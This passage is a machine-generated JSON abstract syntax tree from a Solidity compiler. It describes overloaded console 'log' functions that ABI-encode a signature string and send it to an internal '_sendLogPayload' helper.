eName":{"id":29219,"name":"uint256","nodeType":"ElementaryTypeName","src":"47787:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":29222,"mutability":"mutable","name":"p2","nameLocation":"47807:2:15","nodeType":"VariableDeclaration","scope":29239,"src":"47799:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":29221,"name":"address","nodeType":"ElementaryTypeName","src":"47799:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":29224,"mutability":"mutable","name":"p3","nameLocation":"47825:2:15","nodeType":"VariableDeclaration","scope":29239,"src":"47811:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29223,"name":"string","nodeType":"ElementaryTypeName","src":"47811:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"47777:51:15"},"returnParameters":{"id":29226,"nodeType":"ParameterList","parameters":[],"src":"47843:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29262,"nodeType":"FunctionDefinition","src":"47958:176:15","nodes":[],"body":{"id":29261,"nodeType":"Block","src":"48027:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e743235362c616464726573732c626f6f6c29","id":29253,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"48077:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_b4c314ff4d8914c4657179922b73426f4bcee4ae499bd03b5b3cf557ef247ea8","typeString":"literal_string \"log(bool,uint256,address,bool)\""},"value":"log(bool,uint256,address,bool)"},{"id":29254,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29241,"src":"48111:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29255,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29243,"src":"48115:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":29256,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29245,"src":"48119:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":29257,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29247,"src":"48123:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_b4c314ff4d8914c4657179922b73426f4bcee4ae499bd03b5b3cf557ef247ea8","typeString":"literal_string \"log(bool,uint256,address,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":29251,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"48053:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29252,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"48057:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"48053:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29258,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"48053:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29250,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"48037:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29259,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"48037:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29260,"nodeType":"ExpressionStatement","src":"48037:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"47967:3:15","parameters":{"id":29248,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29241,"mutability":"mutable","name":"p0","nameLocation":"47976:2:15","nodeType":"VariableDeclaration","scope":29262,"src":"47971:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29240,"name":"bool","nodeType":"ElementaryTypeName","src":"47971:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29243,"mutability":"mutable","name":"p1","nameLocation":"47988:2:15","nodeType":"VariableDeclaration","scope":29262,"src":"47980:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29242,"name":"uint256","nodeType":"ElementaryTypeName","src":"47980:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":29245,"mutability":"mutable","name":"p2","nameLocation":"48000:2:15","nodeType":"VariableDeclaration","scope":29262,"src":"47992:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":29244,"name":"address","nodeType":"ElementaryTypeName","src":"47992:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":29247,"mutability":"mutable","name":"p3","nameLocation":"48009:2:15","nodeType":"VariableDeclaration","scope":29262,"src":"48004:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29246,"name":"bool","nodeType":"ElementaryTypeName","src":"48004:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"47970:42:15"},"returnParameters":{"id":29249,"nodeType":"ParameterList","parameters":[],"src":"48027:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29285,"nodeType":"FunctionDefinition","src":"48140:182:15","nodes":[],"body":{"id":29284,"nodeType":"Block","src":"48212:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e743235362c616464726573732c6164647265737329","id":29276,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"48262:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_26f560a852938fadf6addef4dd03c86f93715a295417544d6a793cb20f13b8dd","typeString":"literal_string \"log(bool,uint256,address,address)\""},"value":"log(bool,uint256,address,address)"},{"id":29277,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29264,"src":"48299:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29278,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29266,"src":"48303:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":29279,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29268,"src":"48307:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":29280,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29270,"src":"48311:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_26f560a852938fadf6addef4dd03c86f93715a295417544d6a793cb20f13b8dd","typeString":"literal_string \"log(bool,uint256,address,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":29274,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"48238:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29275,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"48242:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"48238:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29281,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"48238:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29273,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"48222:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29282,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"48222:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29283,"nodeType":"ExpressionStatement","src":"48222:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"48149:3:15","parameters":{"id":29271,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29264,"mutability":"mutable","name":"p0","nameLocation":"48158:2:15","nodeType":"VariableDeclaration","scope":29285,"src":"48153:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29263,"name":"bool","nodeType":"ElementaryTypeName","src":"48153:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29266,"mutability":"mutable","name":"p1","nameLocation":"48170:2:15","nodeType":"VariableDeclaration","scope":29285,"src":"48162:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29265,"name":"uint256","nodeType":"ElementaryTypeName","src":"48162:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":29268,"mutability":"mutable","name":"p2","nameLocation":"48182:2:15","nodeType":"VariableDeclaration","scope":29285,"src":"48174:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":29267,"name":"address","nodeType":"ElementaryTypeName","src":"48174:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":29270,"mutability":"mutable","name":"p3","nameLocation":"48194:2:15","nodeType":"VariableDeclaration","scope":29285,"src":"48186:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":29269,"name":"address","nodeType":"ElementaryTypeName","src":"48186:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"48152:45:15"},"returnParameters":{"id":29272,"nodeType":"ParameterList","parameters":[],"src":"48212:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29308,"nodeType":"FunctionDefinition","src":"48328:187:15","nodes":[],"body":{"id":29307,"nodeType":"Block","src":"48406:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c75696e743235362c75696e7432353629","id":29299,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"48456:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_28863fcbec29a80af15c2b8595f162a2324efa0e9f70b928971349e597c15cb0","typeString":"literal_string \"log(bool,string,uint256,uint256)\""},"value":"log(bool,string,uint256,uint256)"},{"id":29300,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29287,"src":"48492:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29301,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29289,"src":"48496:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29302,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29291,"src":"48500:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":29303,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29293,"src":"48504:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_28863fcbec29a80af15c2b8595f162a2324efa0e9f70b928971349e597c15cb0","typeString":"literal_string \"log(bool,string,uint256,uint256)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":29297,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"48432:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29298,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"48436:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"48432:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29304,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"48432:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29296,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"48416:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29305,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"48416:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29306,"nodeType":"ExpressionStatement","src":"48416:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"48337:3:15","parameters":{"id":29294,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29287,"mutability":"mutable","name":"p0","nameLocation":"48346:2:15","nodeType":"VariableDeclaration","scope":29308,"src":"48341:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29286,"name":"bool","nodeType":"ElementaryTypeName","src":"48341:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29289,"mutability":"mutable","name":"p1","nameLocation":"48364:2:15","nodeType":"VariableDeclaration","scope":29308,"src":"48350:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29288,"name":"string","nodeType":"ElementaryTypeName","src":"48350:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29291,"mutability":"mutable","name":"p2","nameLocation":"48376:2:15","nodeType":"VariableDeclaration","scope":29308,"src":"48368:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29290,"name":"uint256","nodeType":"ElementaryTypeName","src":"48368:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":29293,"mutability":"mutable","name":"p3","nameLocation":"48388:2:15","nodeType":"VariableDeclaration","scope":29308,"src":"48380:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29292,"name":"uint256","nodeType":"ElementaryTypeName","src":"48380:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"48340:51:15"},"returnParameters":{"id":29295,"nodeType":"ParameterList","parameters":[],"src":"48406:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29331,"nodeType":"FunctionDefinition","src":"48521:192:15","nodes":[],"body":{"id":29330,"nodeType":"Block","src":"48605:108:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c75696e743235362c737472696e6729","id":29322,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"48655:33:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_1ad96de6602c0b08f6631d6647303bccf3e586fcfa2c15fa04c5d6cbf0ffc70d","typeString":"literal_string \"log(bool,string,uint256,string)\""},"value":"log(bool,string,uint256,string)"},{"id":29323,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29310,"src":"48690:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29324,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29312,"src":"48694:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29325,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29314,"src":"48698:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":29326,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29316,"src":"48702:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1ad96de6602c0b08f6631d6647303bccf3e586fcfa2c15fa04c5d6cbf0ffc70d","typeString":"literal_string \"log(bool,string,uint256,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":29320,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"48631:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29321,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"48635:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"48631:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29327,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"48631:74:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29319,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"48615:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29328,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"48615:91:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29329,"nodeType":"ExpressionStatement","src":"48615:91:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"48530:3:15","parameters":{"id":29317,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29310,"mutability":"mutable","name":"p0","nameLocation":"48539:2:15","nodeType":"VariableDeclaration","scope":29331,"src":"48534:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29309,"name":"bool","nodeType":"ElementaryTypeName","src":"48534:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29312,"mutability":"mutable","name":"p1","nameLocation":"48557:2:15","nodeType":"VariableDeclaration","scope":29331,"src":"48543:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29311,"name":"string","nodeType":"ElementaryTypeName","src":"48543:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29314,"mutability":"mutable","name":"p2","nameLocation":"48569:2:15","nodeType":"VariableDeclaration","scope":29331,"src":"48561:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29313,"name":"uint256","nodeType":"ElementaryTypeName","src":"48561:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":29316,"mutability":"mutable","name":"p3","nameLocation":"48587:2:15","nodeType":"VariableDeclaration","scope":29331,"src":"48573:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29315,"name":"string","nodeType":"ElementaryTypeName","src":"48573:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"48533:57:15"},"returnParameters":{"id":29318,"nodeType":"ParameterList","parameters":[],"src":"48605:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29354,"nodeType":"FunctionDefinition","src":"48719:181:15","nodes":[],"body":{"id":29353,"nodeType":"Block","src":"48794:106:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c75696e743235362c626f6f6c29","id":29345,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"48844:31:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_6b0e5d538cb3332d8fd45a0c2680232536414e292adbc2f70059f1d665e25411","typeString":"literal_string \"log(bool,string,uint256,bool)\""},"value":"log(bool,string,uint256,bool)"},{"id":29346,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29333,"src":"48877:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29347,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29335,"src":"48881:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29348,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29337,"src":"48885:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":29349,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29339,"src":"48889:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6b0e5d538cb3332d8fd45a0c2680232536414e292adbc2f70059f1d665e25411","typeString":"literal_string \"log(bool,string,uint256,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":29343,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"48820:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29344,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"48824:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"48820:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29350,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"48820:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29342,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"48804:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29351,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"48804:89:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29352,"nodeType":"ExpressionStatement","src":"48804:89:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"48728:3:15","parameters":{"id":29340,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29333,"mutability":"mutable","name":"p0","nameLocation":"48737:2:15","nodeType":"VariableDeclaration","scope":29354,"src":"48732:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29332,"name":"bool","nodeType":"ElementaryTypeName","src":"48732:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29335,"mutability":"mutable","name":"p1","nameLocation":"48755:2:15","nodeType":"VariableDeclaration","scope":29354,"src":"48741:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29334,"name":"string","nodeType":"ElementaryTypeName","src":"48741:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29337,"mutability":"mutable","name":"p2","nameLocation":"48767:2:15","nodeType":"VariableDeclaration","scope":29354,"src":"48759:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29336,"name":"uint256","nodeType":"ElementaryTypeName","src":"48759:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":29339,"mutability":"mutable","name":"p3","nameLocation":"48776:2:15","nodeType":"VariableDeclaration","scope":29354,"src":"48771:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29338,"name":"bool","nodeType":"ElementaryTypeName","src":"48771:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"48731:48:15"},"returnParameters":{"id":29341,"nodeType":"ParameterList","parameters":[],"src":"48794:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29377,"nodeType":"FunctionDefinition","src":"48906:187:15","nodes":[],"body":{"id":29376,"nodeType":"Block","src":"48984:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c75696e743235362c6164647265737329","id":29368,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"49034:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_1596a1ceb88c7fe162cbcf294bbc564db1eb943f277b50b442bf55dba1134056","typeString":"literal_string \"log(bool,string,uint256,address)\""},"value":"log(bool,string,uint256,address)"},{"id":29369,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29356,"src":"49070:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29370,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29358,"src":"49074:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string 